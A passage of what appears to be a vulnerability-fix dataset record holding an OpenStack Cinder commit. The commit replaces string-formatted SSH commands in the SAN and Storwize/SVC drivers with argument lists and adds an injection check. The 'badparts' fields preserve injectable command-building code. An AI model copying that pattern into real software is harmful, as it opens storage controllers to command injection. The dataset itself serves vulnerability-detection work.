forceflag, 'name': name}\n- ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params\n+ ssh_cmd = ['svctask', 'rmvdisk', '-force', name]\n+ if not force:\n+ ssh_cmd.remove('-force')\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmvdisk\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -1336,8 +1333,8 @@ def extend_volume(self, volume, new_size):\n raise exception.VolumeBackendAPIException(data=exception_message)\n \n extend_amt = int(new_size) - volume['size']\n- ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'\n- % {'amt': extend_amt, 'name': volume['name']})\n+ ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),\n+ '-unit', 'gb', volume['name']])\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from expandvdisksize\n self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',\n@@ -1376,7 +1373,7 @@ def _update_volume_stats(self):\n \n pool = self.configuration.storwize_svc_volpool_name\n #Get storage system name\n- ssh_cmd = 'svcinfo lssystem -delim !'\n+ ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes or not attributes['name']:\n exception_message = (_('_update_volume_stats: '\n@@ -1388,7 +1385,7 @@ def _update_volume_stats(self):\n backend_name = '%s_%s' % (attributes['name'], pool)\n data['volume_backend_name'] = backend_name\n \n- ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes:\n LOG.error(_('Could not get pool data from the storage'))\n@@ -1406,7 +1403,7 @@ def _update_volume_stats(self):\n self._stats = data\n \n def _port_conf_generator(self, cmd):\n- ssh_cmd = '%s -delim !' % cmd\n+ ssh_cmd = cmd + ['-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -1483,7 +1480,7 @@ def _execute_command_and_parse_attributes(self, ssh_cmd):\n \"\"\"\n \n LOG.debug(_('enter: _execute_command_and_parse_attributes: '\n- ' command %s') % ssh_cmd)\n+ ' command %s') % str(ssh_cmd))\n \n try:\n out, err = self._run_ssh(ssh_cmd)\n@@ -1509,7 +1506,7 @@ def _execute_command_and_parse_attributes(self, ssh_cmd):\n LOG.debug(_('leave: _execute_command_and_parse_attributes:\\n'\n 'command: %(cmd)s\\n'\n 'attributes: %(attr)s')\n- % {'cmd': ssh_cmd,\n+ % {'cmd': str(ssh_cmd),\n 'attr': str(attributes)})\n \n return attributes\n", "files": {"/cinder/tests/test_storwize_svc.py": {"changes": [{"diff": "\n return True\n \n # Convert argument string to dictionary\n- def _cmd_to_dict(self, cmd):\n- arg_list = cmd.split()\n+ def _cmd_to_dict(self, arg_list):\n no_param_args = [\n 'autodelete',\n 'autoexpand',\n", "add": 1, "remove": 2, "filename": "/cinder/tests/test_storwize_svc.py", "badparts": [" def _cmd_to_dict(self, cmd):", " arg_list = cmd.split()"], "goodparts": [" def _cmd_to_dict(self, arg_list):"]}, {"diff": "\n \n command = kwargs['cmd']\n del kwargs['cmd']\n- arg_list = cmd.split()\n \n if command == 'lsmdiskgrp':\n out, err = self._cmd_lsmdiskgrp(**kwargs", "add": 0, "remove": 1, "filename": "/cinder/tests/test_storwize_svc.py", "badparts": [" arg_list = cmd.split()"], "goodparts": []}]}, "/cinder/volume/drivers/san/san.py": {"changes": [{"diff": "\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n \n- def _run_ssh(self, command, check_exit_code=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_", "add": 4, "remove": 1, "filename": "/cinder/volume/drivers/san/san.py", "badparts": [" def _run_ssh(self, command, check_exit_code=True, attempts=1):"], "goodparts": [" def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):", " utils.check_ssh_injection(cmd_list)", " command = ' '. join(cmd_list)"]}], "source": "\n \"\"\" Default Driver for san-stored volumes. The unique thing about a SAN is that we don't expect that we can run the volume controller on the SAN hardware. We expect to access it over SSH or some API. \"\"\" import random from eventlet import greenthread from oslo.config import cfg from cinder import exception from cinder.openstack.common import excutils from cinder.openstack.common import log as logging from cinder import utils from cinder.volume import driver LOG=logging.getLogger(__name__) san_opts=[ cfg.BoolOpt('san_thin_provision', default=True, help='Use thin provisioning for SAN volumes?'), cfg.StrOpt('san_ip', default='', help='IP address of SAN controller'), cfg.StrOpt('san_login', default='admin', help='Username for SAN controller'), cfg.StrOpt('san_password', default='', help='Password for SAN controller', secret=True), cfg.StrOpt('san_private_key', default='', help='Filename of private key to use for SSH authentication'), cfg.StrOpt('san_clustername', default='', help='Cluster name to use for creating volumes'), cfg.IntOpt('san_ssh_port', default=22, help='SSH port to use with SAN'), cfg.BoolOpt('san_is_local', default=False, help='Execute commands locally instead of over SSH; ' 'use if the volume service is running on the SAN device'), cfg.IntOpt('ssh_conn_timeout', default=30, help=\"SSH connection timeout in seconds\"), cfg.IntOpt('ssh_min_pool_conn', default=1, help='Minimum ssh connections in the pool'), cfg.IntOpt('ssh_max_pool_conn', default=5, help='Maximum ssh connections in the pool'), ] CONF=cfg.CONF CONF.register_opts(san_opts) class SanDriver(driver.VolumeDriver): \"\"\"Base class for SAN-style storage volumes A SAN-style storage value is 'different' because the volume controller probably won't run on it, so we need to access is over SSH or another remote protocol. \"\"\" def __init__(self, *args, **kwargs): execute=kwargs.pop('execute', self.san_execute) super(SanDriver, self).__init__(execute=execute, *args, **kwargs) self.configuration.append_config_values(san_opts) self.run_local=self.configuration.san_is_local self.sshpool=None def san_execute(self, *cmd, **kwargs): if self.run_local: return utils.execute(*cmd, **kwargs) else: check_exit_code=kwargs.pop('check_exit_code', None) command=' '.join(cmd) return self._run_ssh(command, check_exit_code) def _run_ssh(self, command, check_exit_code=True, attempts=1): if not self.sshpool: password=self.configuration.san_password privatekey=self.configuration.san_private_key min_size=self.configuration.ssh_min_pool_conn max_size=self.configuration.ssh_max_pool_conn self.sshpool=utils.SSHPool(self.configuration.san_ip, self.configuration.san_ssh_port, self.configuration.ssh_conn_timeout, self.configuration.san_login, password=password, privatekey=privatekey, min_size=min_size, max_size=max_size) last_exception=None try: total_attempts=attempts with self.sshpool.item() as ssh: while attempts > 0: attempts -=1 try: return utils.ssh_execute( ssh, command, check_exit_code=check_exit_code) except Exception as e: LOG.error(e) last_exception=e greenthread.sleep(random.randint(20, 500) / 100.0) try: raise exception.ProcessExecutionError( exit_code=last_exception.exit_code, stdout=last_exception.stdout, stderr=last_exception.stderr, cmd=last_exception.cmd) except AttributeError: raise exception.ProcessExecutionError( exit_code=-1, stdout=\"\", stderr=\"Error running SSH command\", cmd=command) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_(\"Error running SSH command: %s\") % command) def ensure_export(self, context, volume): \"\"\"Synchronously recreates an export for a logical volume.\"\"\" pass def create_export(self, context, volume): \"\"\"Exports the volume.\"\"\" pass def remove_export(self, context, volume): \"\"\"Removes an export for a logical volume.\"\"\" pass def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" if not self.run_local: if not(self.configuration.san_password or self.configuration.san_private_key): raise exception.InvalidInput( reason=_('Specify san_password or san_private_key')) if not self.configuration.san_ip: raise exception.InvalidInput(reason=_(\"san_ip must be set\")) class SanISCSIDriver(SanDriver, driver.ISCSIDriver): def __init__(self, *args, **kwargs): super(SanISCSIDriver, self).__init__(*args, **kwargs) def _build_iscsi_target_name(self, volume): return \"%s%s\" %(self.configuration.iscsi_target_prefix, volume['name']) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2011 Justin Santa Barbara\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"\nDefault Driver for san-stored volumes.\n\nThe unique thing about a SAN is that we don't expect that we can run the volume\ncontroller on the SAN hardware. We expect to access it over SSH or some API.\n\"\"\"\n\nimport random\n\nfrom eventlet import greenthread\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import excutils\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nfrom cinder.volume import driver\n\nLOG = logging.getLogger(__name__)\n\nsan_opts = [\n cfg.BoolOpt('san_thin_provision',\n default=True,\n help='Use thin provisioning for SAN volumes?'),\n cfg.StrOpt('san_ip',\n default='',\n help='IP address of SAN controller'),\n cfg.StrOpt('san_login',\n default='admin',\n help='Username for SAN controller'),\n cfg.StrOpt('san_password',\n default='',\n help='Password for SAN controller',\n secret=True),\n cfg.StrOpt('san_private_key',\n default='',\n help='Filename of private key to use for SSH authentication'),\n cfg.StrOpt('san_clustername',\n default='',\n help='Cluster name to use for creating volumes'),\n cfg.IntOpt('san_ssh_port',\n default=22,\n help='SSH port to use with SAN'),\n cfg.BoolOpt('san_is_local',\n default=False,\n help='Execute commands locally instead of over SSH; '\n 'use if the volume service is running on the SAN device'),\n cfg.IntOpt('ssh_conn_timeout',\n default=30,\n help=\"SSH connection timeout in seconds\"),\n cfg.IntOpt('ssh_min_pool_conn',\n default=1,\n help='Minimum ssh connections in the pool'),\n cfg.IntOpt('ssh_max_pool_conn',\n default=5,\n help='Maximum ssh connections in the pool'),\n]\n\nCONF = cfg.CONF\nCONF.register_opts(san_opts)\n\n\nclass SanDriver(driver.VolumeDriver):\n \"\"\"Base class for SAN-style storage volumes\n\n A SAN-style storage value is 'different' because the volume controller\n probably won't run on it, so we need to access is over SSH or another\n remote protocol.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n execute = kwargs.pop('execute', self.san_execute)\n super(SanDriver, self).__init__(execute=execute,\n *args, **kwargs)\n self.configuration.append_config_values(san_opts)\n self.run_local = self.configuration.san_is_local\n self.sshpool = None\n\n def san_execute(self, *cmd, **kwargs):\n if self.run_local:\n return utils.execute(*cmd, **kwargs)\n else:\n check_exit_code = kwargs.pop('check_exit_code', None)\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n\n def _run_ssh(self, command, check_exit_code=True, attempts=1):\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\n min_size = self.configuration.ssh_min_pool_conn\n max_size = self.configuration.ssh_max_pool_conn\n self.sshpool = utils.SSHPool(self.configuration.san_ip,\n self.configuration.san_ssh_port,\n self.configuration.ssh_conn_timeout,\n self.configuration.san_login,\n password=password,\n privatekey=privatekey,\n min_size=min_size,\n max_size=max_size)\n last_exception = None\n try:\n total_attempts = attempts\n with self.sshpool.item() as ssh:\n while attempts > 0:\n attempts -= 1\n try:\n return utils.ssh_execute(\n ssh,\n command,\n check_exit_code=check_exit_code)\n except Exception as e:\n LOG.error(e)\n last_exception = e\n greenthread.sleep(random.randint(20, 500) / 100.0)\n try:\n raise exception.ProcessExecutionError(\n exit_code=last_exception.exit_code,\n stdout=last_exception.stdout,\n stderr=last_exception.stderr,\n cmd=last_exception.cmd)\n except AttributeError:\n raise exception.ProcessExecutionError(\n exit_code=-1,\n stdout=\"\",\n stderr=\"Error running SSH command\",\n cmd=command)\n\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error running SSH command: %s\") % command)\n\n def ensure_export(self, context, volume):\n \"\"\"Synchronously recreates an export for a logical volume.\"\"\"\n pass\n\n def create_export(self, context, volume):\n \"\"\"Exports the volume.\"\"\"\n pass\n\n def remove_export(self, context, volume):\n \"\"\"Removes an export for a logical volume.\"\"\"\n pass\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n if not self.run_local:\n if not (self.configuration.san_password or\n self.configuration.san_private_key):\n raise exception.InvalidInput(\n reason=_('Specify san_password or san_private_key'))\n\n # The san_ip must always be set, because we use it for the target\n if not self.configuration.san_ip:\n raise exception.InvalidInput(reason=_(\"san_ip must be set\"))\n\n\nclass SanISCSIDriver(SanDriver, driver.ISCSIDriver):\n def __init__(self, *args, **kwargs):\n super(SanISCSIDriver, self).__init__(*args, **kwargs)\n\n def _build_iscsi_target_name(self, volume):\n return \"%s%s\" % (self.configuration.iscsi_target_prefix,\n volume['name'])\n"}, "/cinder/volume/drivers/storwize_svc.py": {"changes": [{"diff": "\n for char in invalid_ch_in_host)\n \n def _get_iscsi_ip_addrs(self):\n- generator = self._port_conf_generator('svcinfo lsportip')\n+ generator = self._port_conf_generator(['svcinfo', 'lsportip'])\n header = next(generator, None)\n if not header:\n return\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" generator = self._port_conf_generator('svcinfo lsportip')"], "goodparts": [" generator = self._port_conf_generator(['svcinfo', 'lsportip'])"]}, {"diff": "\n def _get_fc_wwpns(self):\n for key in self._storage_nodes:\n node = self._storage_nodes[key]\n- ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]\n raw = self._run_ssh(ssh_cmd)\n resp = CLIResponse(raw, delim='!', with_header=False)\n wwpns = set(node['WWPN'])\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]"]}, {"diff": "\n self._context = ctxt\n \n # Validate that the pool exists\n- ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']"]}, {"diff": "\n # Check if compression is supported\n self._compression_enabled = False\n try:\n- ssh_cmd = 'svcinfo lslicense -delim !'\n+ ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n license_lines = out.strip().split('\\n')\n for license_line in license_lines:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lslicense -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']"]}, {"diff": "\n LOG.exception(_('Failed to get license information.'))\n \n # Get the iSCSI and FC names of the Storwize/SVC nodes\n- ssh_cmd = 'svcinfo lsnode -delim !'\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsnode -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']"]}, {"diff": "\n \"\"\"Generate and store a randomly-generated CHAP secret for the host.\"\"\"\n \n chap_secret = utils.generate_password()\n- ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'\n- % {'chap_secret': chap_secret, 'host_name': host_name})\n+ ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from chhost\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 1, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'", " % {'chap_secret': chap_secret, 'host_name': host_name})"], "goodparts": [" ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]"]}, {"diff": "\n LOG.debug(_('enter: _get_chap_secret_for_host: host name %s')\n % host_name)\n \n- ssh_cmd = 'svcinfo lsiscsiauth -delim !'\n+ ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsiscsiauth -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']"]}, {"diff": "\n \n def _find_host_from_wwpn(self, connector):\n for wwpn in connector['wwpns']:\n- ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn\n+ ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']"]}, {"diff": "\n \n def _find_host_exhaustive(self, connector, hosts):\n for host in hosts:\n- ssh_cmd = 'svcinfo lshost -delim ! %s' % host\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()),\n '_find_host_exhaustive',\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshost -delim ! %s' % host"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]"]}, {"diff": "\n LOG.debug(_('enter: _get_host_from_connector: prefix %s') % prefix)\n \n # Get list of host in the storage\n- ssh_cmd = 'svcinfo lshost -delim !'\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshost -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']"]}, {"diff": "\n # When creating a host, we need one port\n self._driver_assert(len(ports), _('_create_host: No connector ports'))\n port1 = ports.pop(0)\n- ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %\n- {'port1': port1, 'host_name': host_name})\n+ arg_name, arg_val = port1.split()\n+ ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',\n+ '\"%s\"' % host_name]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return('successfully created' in out,\n '_create_host', ssh_cmd, out, err)\n \n # Add any additional ports to the host\n for port in ports:\n- ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))\n+ arg_name, arg_val = port.split()\n+ ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,\n+ host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n LOG.debug(_('leave: _create_host: host %(host)s - %(host_name)s') %\n", "add": 6, "remove": 3, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %", " {'port1': port1, 'host_name': host_name})", " ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))"], "goodparts": [" arg_name, arg_val = port1.split()", " ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',", " '\"%s\"' % host_name]", " arg_name, arg_val = port.split()", " ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,", " host_name]"]}, {"diff": "\n \"\"\"Return the defined storage mappings for a host.\"\"\"\n \n return_data = {}\n- ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name\n+ ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mappings = out.strip().split('\\n')\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]"]}, {"diff": "\n \n # Volume is not mapped to host, create a new LUN\n if not mapped_flag:\n- ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '\n- '%(result_lun)s %(volume_name)s' %\n- {'host_name': host_name,\n- 'result_lun': result_lun,\n- 'volume_name': volume_name})\n+ ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,\n+ '-scsi', result_lun, volume_name]\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n if err and err.startswith('CMMVC6071E'):\n if not self.configuration.storwize_svc_multihostmap_enabled:\n", "add": 2, "remove": 5, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '", " '%(result_lun)s %(volume_name)s' %", " {'host_name': host_name,", " 'result_lun': result_lun,", " 'volume_name': volume_name})"], "goodparts": [" ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,", " '-scsi', result_lun, volume_name]"]}, {"diff": "\n 'was not created because the VDisk is '\\\n 'already mapped to a host.\\n\"'\n raise exception.CinderException(data=exception_msg)\n- ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',\n- 'mkvdiskhostmap -force')\n+\n+ for i in range(len(ssh_cmd)):\n+ if ssh_cmd[i] == 'mkvdiskhostmap':\n+ ssh_cmd.insert(i + 1, '-force')\n+\n # try to map one volume to multiple hosts\n out, err = self._run_ssh(ssh_cmd)\n LOG.warn(_('volume %s mapping to multi host') % volume_name)\n", "add": 5, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',", " 'mkvdiskhostmap -force')"], "goodparts": [" for i in range(len(ssh_cmd)):", " if ssh_cmd[i] == 'mkvdiskhostmap':", " ssh_cmd.insert(i + 1, '-force')"]}, {"diff": "\n \n LOG.debug(_('enter: _delete_host: host %s ') % host_name)\n \n- ssh_cmd = 'svctask rmhost %s ' % host_name\n+ ssh_cmd = ['svctask', 'rmhost', host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmhost\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svctask rmhost %s ' % host_name"], "goodparts": [" ssh_cmd = ['svctask', 'rmhost', host_name]"]}, {"diff": "\n \n def _get_conn_fc_wwpns(self, host_name):\n wwpns = []\n- cmd = 'svcinfo lsfabric -host %s' % host_name\n+ cmd = ['svcinfo', 'lsfabric', '-host', host_name]\n generator = self._port_conf_generator(cmd)\n header = next(generator, None)\n if not header:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" cmd = 'svcinfo lsfabric -host %s' % host_name"], "goodparts": [" cmd = ['svcinfo', 'lsfabric', '-host', host_name]"]}, {"diff": "\n # Check if vdisk-host mapping exists, remove if it does\n mapping_data = self._get_hostvdisk_mappings(host_name)\n if vol_name in mapping_data:\n- ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\\n- (host_name, vol_name)\n+ ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,\n+ vol_name]\n out, err = self._run_ssh(ssh_cmd)\n # Verify CLI behaviour - no output is returned from\n # rmvdiskhostmap\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\", " (host_name, vol_name)"], "goodparts": [" ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,", " vol_name]"]}, {"diff": "\n parsed/matched to a single vdisk.\n \"\"\"\n \n- ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]\n return self._execute_command_and_parse_attributes(ssh_cmd)\n \n def _get_vdisk_fc_mappings(self, vdisk_name):\n \"\"\"Return FlashCopy mappings that this vdisk is associated with.\"\"\"\n \n- ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mapping_ids = []\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name", " ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]", " ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]"]}, {"diff": "\n LOG.debug(_('enter: _create_vdisk: vdisk %s ') % name)\n \n model_update = None\n- autoex = '-autoexpand' if opts['autoexpand'] else ''\n- easytier = '-easytier on' if opts['easytier'] else '-easytier off'\n+ easytier = 'on' if opts['easytier'] else 'off'\n \n # Set space-efficient options\n if opts['rsize'] == -1:\n- ssh_cmd_se_opt = ''\n+ ssh_cmd_se_opt = []\n else:\n- ssh_cmd_se_opt = (\n- '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %\n- {'rsize': opts['rsize'],\n- 'autoex': autoex,\n- 'warn': opts['warning']})\n+ ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),\n+ '-autoexpand', '-warning',\n+ '%s%%' % str(opts['warning'])]\n+ if not opts['autoexpand']:\n+ ssh_cmd_se_opt.remove('-autoexpand')\n+\n if opts['compression']:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'\n+ ssh_cmd_se_opt.append('-compressed')\n else:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + (\n- ' -grainsize %d' % opts['grainsize'])\n-\n- ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '\n- '-iogrp 0 -size %(size)s -unit '\n- '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'\n- % {'name': name,\n- 'mdiskgrp': self.configuration.storwize_svc_volpool_name,\n- 'size': size, 'unit': units, 'easytier': easytier,\n- 'ssh_cmd_se_opt': ssh_cmd_se_opt})\n+ ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])\n+\n+ ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',\n+ self.configuration.storwize_svc_volpool_name,\n+ '-iogrp', '0', '-size', size, '-unit',\n+ units, '-easytier', easytier] + ssh_cmd_se_opt\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), '_create_vdisk',\n ssh_cmd, out, err)\n", "add": 15, "remove": 19, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" autoex = '-autoexpand' if opts['autoexpand'] else ''", " easytier = '-easytier on' if opts['easytier'] else '-easytier off'", " ssh_cmd_se_opt = ''", " ssh_cmd_se_opt = (", " '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %", " {'rsize': opts['rsize'],", " 'autoex': autoex,", " 'warn': opts['warning']})", " ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'", " ssh_cmd_se_opt = ssh_cmd_se_opt + (", " ' -grainsize %d' % opts['grainsize'])", " ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '", " '-iogrp 0 -size %(size)s -unit '", " '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'", " % {'name': name,", " 'mdiskgrp': self.configuration.storwize_svc_volpool_name,", " 'size': size, 'unit': units, 'easytier': easytier,", " 'ssh_cmd_se_opt': ssh_cmd_se_opt})"], "goodparts": [" easytier = 'on' if opts['easytier'] else 'off'", " ssh_cmd_se_opt = []", " ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),", " '-autoexpand', '-warning',", " '%s%%' % str(opts['warning'])]", " if not opts['autoexpand']:", " ssh_cmd_se_opt.remove('-autoexpand')", " ssh_cmd_se_opt.append('-compressed')", " ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])", " ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',", " self.configuration.storwize_svc_volpool_name,", " '-iogrp', '0', '-size', size, '-unit',", " units, '-easytier', easytier] + ssh_cmd_se_opt"]}, {"diff": "\n LOG.debug(_('leave: _create_vdisk: volume %s ') % name)\n \n def _make_fc_map(self, source, target, full_copy):\n- copyflag = '' if full_copy else '-copyrate 0'\n- fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '\n- '-autodelete %(copyflag)s' %\n- {'src': source,\n- 'tgt': target,\n- 'copyflag': copyflag})\n+ fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',\n+ target, '-autodelete']\n+ if not full_copy:\n+ 